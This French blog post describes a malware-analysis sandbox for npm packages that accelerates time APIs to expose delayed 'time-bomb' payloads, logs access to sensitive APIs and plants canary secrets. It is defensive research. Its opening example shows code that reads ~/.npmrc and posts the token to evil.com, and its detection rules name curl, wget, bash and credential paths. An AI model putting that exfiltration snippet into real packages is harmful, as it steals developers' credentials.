← Blog

MITRE ATT&CK T1497.003 - Time Based Évasion Checks - est dans le top 10 des techniques d'évasion en 2026. L'idée est simple : le malware attend 72 heures avant de voler les credentials. Le sandbox Docker a un timeout de 120 secondes. Le payload ne s'exécute jamais pendant l'analyse.

La solution : on accélère le temps.

Le problème

Un malware classique fait ceci :

// Attendre 3 jours apres l'installation
setTimeout(() => {
  const token = fs.readFileSync(
    path.join(os.homedir(), '.npmrc'), 'utf8'
  );
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: token
  });
}, 72 * 3600 * 1000);  // 72 heures

Le sandbox exécute le package pendant 120 secondes. Le setTimeout de 72h ne se déclenche jamais. Le sandbox conclut : aucun comportement suspect. Package clean.

C'est exactement ce que les attaquants veulent.

La solution : monkey-patching via preload

Le container Docker injecte un script preload via NODE_OPTIONS=--require /opt/preload.js. Ce script patche toutes les APIs de temps avant que le code du package s'exécute :

// Sauvegarder les originaux dans une closure inaccessible
const _origDateNow = Date.now;
const _origSetTimeout = setTimeout;
const _origSetInterval = setInterval;

// Offset de temps (configurable par run)
let timeOffset = 0;  // Run 1: 0h, Run 2: +72h, Run 3: +7j

// Patcher Date.now() et new Date()
Date.now = () => _origDateNow.call(Date) + timeOffset;
const _OrigDate = Date;
globalThis.Date = function(...args) {
  if (args.length === 0) return new _OrigDate(_origDateNow() + timeOffset);
  return new _OrigDate(...args);
};

// Accelerer les timers
globalThis.setTimeout = (fn, delay, ...args) => {
  if (delay > 3600000) {  // > 1h
    log({ type: 'suspicious_timer', delay });
    return _origSetTimeout(fn, 0, ...args);  // Execution immediate
  }
  return _origSetTimeout(fn, delay, ...args);
};

Les APIs patchées de manière cohérente :

  • Date.now() - retourne le temps réel + offset
  • new Date() sans argument - date décalée
  • performance.now(), process.hrtime(), process.uptime() - tous synchronisés
  • setTimeout(fn, 72h)setTimeout(fn, 0) - exécution immédiate
  • setInterval(fn, delay) → première exécution immédiate

Multi-run : 3 points dans le temps

Un seul offset ne suffit pas. Certains malwares attendent 3 jours, d'autres 1 semaine, d'autres vérifient la date de première installation. Le sandbox exécute le package 3 fois :

RunOffsetCible
Run 10hBaseline - comportement immédiat
Run 2+72hTime-bombs 3 jours
Run 3+7 joursTime-bombs 1 semaine

Sortie anticipée si le score dépasse 80 (CRITICAL détecté). Le meilleur score des 3 runs est retenu.

Interception des APIs sensibles

En plus de l'accélération du temps, le preload intercepte toutes les APIs sensibles pour logging comportemental :

  • Réseau : http.request, https.request, fetch, dns.resolve, net.connect
  • Fichiers : readFileSync/writeFileSync avec détection de chemins sensibles (.npmrc, .ssh, .aws)
  • Processus : exec/spawn avec détection de commandes dangereuses (curl, wget, bash)
  • Environnement : Proxy sur process.env pour logger l'accès aux variables TOKEN/SECRET/KEY

Tout est écrit dans /tmp/preload.log en JSON structurée, puis analysé par src/sandbox/analyzer.js.

6 nouvelles règles de détection

RègleSévéritéPattern
Timer delay > 1hMEDIUMsetTimeout avec délai suspicieux
Timer delay > 24hCRITICALTime-bomb probable
Lecture fichier sensibleHIGH.npmrc, .ssh, .aws, .env via preload
Réseau après lecture sensibleCRITICALComposé : file read + network = exfiltration
Exécution commande dangereuseHIGHcurl, wget, bash, powershell via preload
Accès env sensibleMEDIUMTOKEN, SECRET, KEY, PASSWORD

La règle composite "réseau après lecture sensible" est la plus puissante. Elle détecte la séquence exacte d'exfiltration : lire un fichier de credentials, puis envoyer les données sur le réseau. Score : +40 points - suffisant pour déclencher l'alerte à lui seul.

Canary tokens : les honeypots

Le sandbox injecte 6 faux secrets dans l'environnement :

GITHUB_TOKEN=ghp_canary_xxxxxxxxxxxx
NPM_TOKEN=npm_canary_xxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA_canary_xxxxxxx
AWS_SECRET_ACCESS_KEY=canary_xxxxxxx
SLACK_WEBHOOK_URL=https://hooks.slack.com/canary
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/canary

Si le package tente d'exfiltrer ces tokens via HTTP, DNS, ou stdout, c'est la preuve directe de malveillance. L'exfiltration est recherchée dans 7 vecteurs : corps HTTP, requêtes DNS, URLs HTTP, connexions TLS, modifications filesystem, commandes processus, et sortie d'installation.

Sécurité du preload

  • Tout est encapsulé dans une IIFE - le package cible ne peut pas accéder aux références originales
  • Chaque patch est protégé par try/catch - le preload ne peut jamais casser le package analysé
  • NODE_OPTIONS est verrouillé via Object.defineProperty après injection - empêche le bypass dans les processus enfants
  • L'injection est différée au point d'entrée du package, pas pendant npm install - évite d'intercepter les appels réseau de npm lui-même

Résultats

MétriqueAvantAprès
Règles sandbox814 (+6)
Tests14711522 (+51)
Détection time-bombsimpossible3 points dans le temps

Leçon

Les malwares modernes ne s'exécutent pas immédiatement. Ils attendent que le scanner ait fini son analyse, que l'environnement CI/CD soit passé, que l'attention du développeur se soit relâchée. L'accélération du temps dans le sandbox transforme un setTimeout(fn, 72h) en setTimeout(fn, 0) - le malware croit que 3 jours se sont écoulés, et déclenche son payload pendant l'analyse.

Le monkey-patching cohérent est essentiel. Si Date.now() dit +72h mais que process.uptime() dit 2 secondes, un malware sophistiqué détecte l'inconsistance. Toutes les APIs de temps doivent raconter la même histoire.